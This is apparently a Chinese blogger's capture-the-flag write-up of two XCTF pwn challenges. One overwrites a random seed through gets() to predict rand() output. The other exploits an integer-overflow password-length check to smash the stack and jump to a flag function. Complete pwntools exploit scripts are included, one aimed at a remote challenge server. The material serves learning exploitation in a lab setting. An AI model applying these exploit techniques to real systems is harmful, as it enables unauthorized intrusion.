几天的pwn学习之后,pwn菜鸡ly0n开始了刷题,今天刷了几道xctf的题目,记录下思路吧
拿到题目就先开始file checksec操作。
开启了carry,不能进行栈溢出
拖进IDA分析下
可以看到在输入第一次之后,会进行10次的随机数生成,和你第二次输入的数字进行比较如果十次都相同则输出flag!
我们的下手点应该就在rand()函数上面。
rand()函数
rand()
函数前都会查询是否调用了函数srand(send)
是否给send
设定了一个值,如果有就会自动调用srand(send)
来初始化一次起始值。srand(send)
,系统会自动给send
赋初始值,即srand(1)
自动调用一次。srand()函数
srand()
函数是随机数生成器的初始化函数void srand(int send)
srand()
函数播下的种子一样的话,那么随机产生的数也是一样的,有时候为了使产生的随机数不同,会使用时间种子srand(time(NULL))
,每次产生随机数的时间不同,所以产生的随机数也不相同。可以看出,我们至少要输入20h个字符才能覆盖掉seed
通过检查程序看到程序保护的比较全面,因此不能通过地址覆盖栈溢出解题 利用srand()函数根据send的值改变rand()函数产生的随机数,也就是说种子相同产生的随机数也是相同的 可以利用gets()函数来修改seed的值,修改种子,产生十次随机数 第一次输入时,我们发送payload覆盖掉seed 第二次输入时修改种子,然后产生十次随机数。
exp
from pwn import *
from ctypes import *
#sh = process('./guess')
sh = remote('220.249.52.133',39370)
context.log_level='debug'
libc=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
payload = 'a' * 0x20
payload += p64(0)
sh.recvuntil('name:')
sh.sendline(payload)
libc.srand(1)
for i in range(10):
sh.recvuntil('number:')
sh.sendline(str(libc.rand()%6+1))
sh.interactive()
打开题目进行正常的操作
发现canary没开,所以就想着应该会时栈溢出,运行时发现,是选择一个子流程,让输入username和passwd所以我们要考虑的就是会不会在输入的时候对输入的字符串有限制。
IDA分析程序
main函数
没发现什么有用的东西。
再来看下login
让输入账号和密码,但是这密码长度为0x199
就有点可疑了啊,怀疑在这有漏洞,接着看check_passwd
看到现设置了一个变量v3,看到了_int8
一个字节8bit,可以知道v3最大只能是255,输入256时即位0,来存储passwd,前面我们看login函数时得知,passwd的最大长度为0x199
,很明显存储不下,所以在这里存在一个整形溢出的漏洞。
我们再次看check_passwd函数,输入的passwd传给了v3
,又将passwd传入到了拷贝到$dest
中大小为0x14
,上面说到在passwd这里是存在整形溢出漏洞,所以这里输入的字符的个数不管是3~8还是259~264都是可以通过验证的。
如果输入内容的字符串个数大于了0x14
,就会覆盖到栈中的内容。看一下数据填充结构:
在看一下check_passwd,看到有一个出栈的操作
有了这个操作需要多覆盖4
字节
做题思路
passlen
)剩余的数据即可。payload构造
payload = 'a' * 0x14
paylaod += 'aaaa'
payload += p32(flag_addr)
payload += 'a' * (passlen - 0x14-4-4)
最终exp:
from pwn import *
sh = process('./int_overflow')
context.log_level='debug'
#sh = remote('220.249.52.133',36036)
flag_addr = 0x08048694
payload = 'a' * 0x14
payload += 'aaaa'
payload += p32(flag_addr)
payload += 'a'* (263 - 0x14-4-4)
sh.sendlineafter("choice:","1")
sh.sendlineafter("username:\n","ly0n")
sh.sendlineafter("passwd:\n",payload)
sh.interactive()
菜鸡如我,今天绞尽脑汁就弄明白了两道题!